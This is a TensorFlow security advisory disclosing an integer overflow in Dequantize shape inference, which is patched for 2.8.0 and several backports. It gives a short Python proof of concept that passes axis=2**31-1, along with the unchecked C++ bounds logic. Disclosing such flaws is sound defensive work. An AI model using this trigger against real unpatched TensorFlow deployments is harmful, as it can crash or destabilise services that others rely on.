Integer overflow in Tensorflow

Impact

The implementation of shape inference for Dequantize is vulnerable to an integer overflow weakness:

import tensorflow as tf

input = tf.constant([1,1],dtype=tf.qint32)

@tf.function
def test():
  y = tf.raw_ops.Dequantize(
    input=input,
    min_range=[1.0],
    max_range=[10.0],
    mode='MIN_COMBINED',
    narrow_range=False,
    axis=2**31-1,
    dtype=tf.bfloat16)
  return y

test()

The axis argument can be -1 (the default value for the optional argument) or any other positive value at most the number of dimensions of the input. Unfortunately, the upper bound is not checked, and, since the code computes axis + 1, an attacker can trigger an integer overflow:

  int axis = -1; 
  Status s = c->GetAttr("axis", &axis);
  // ...
  if (axis < -1) {
    return errors::InvalidArgument("axis should be at least -1, got ",
                                   axis);
  }
  // ...
  if (axis != -1) {
    ShapeHandle input;
    TF_RETURN_IF_ERROR(c->WithRankAtLeast(c->input(0), axis + 1, &input));
    // ...
  }

Patches

We have patched the issue in GitHub commit b64638ec5ccaa77b7c1eb90958e3d85ce381f91b.

The fix will be included in TensorFlow 2.8.0. We will also cherrypick this commit on TensorFlow 2.7.1, TensorFlow 2.6.3, and TensorFlow 2.5.3, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Yu Tian of Qihoo 360 AIVul Team.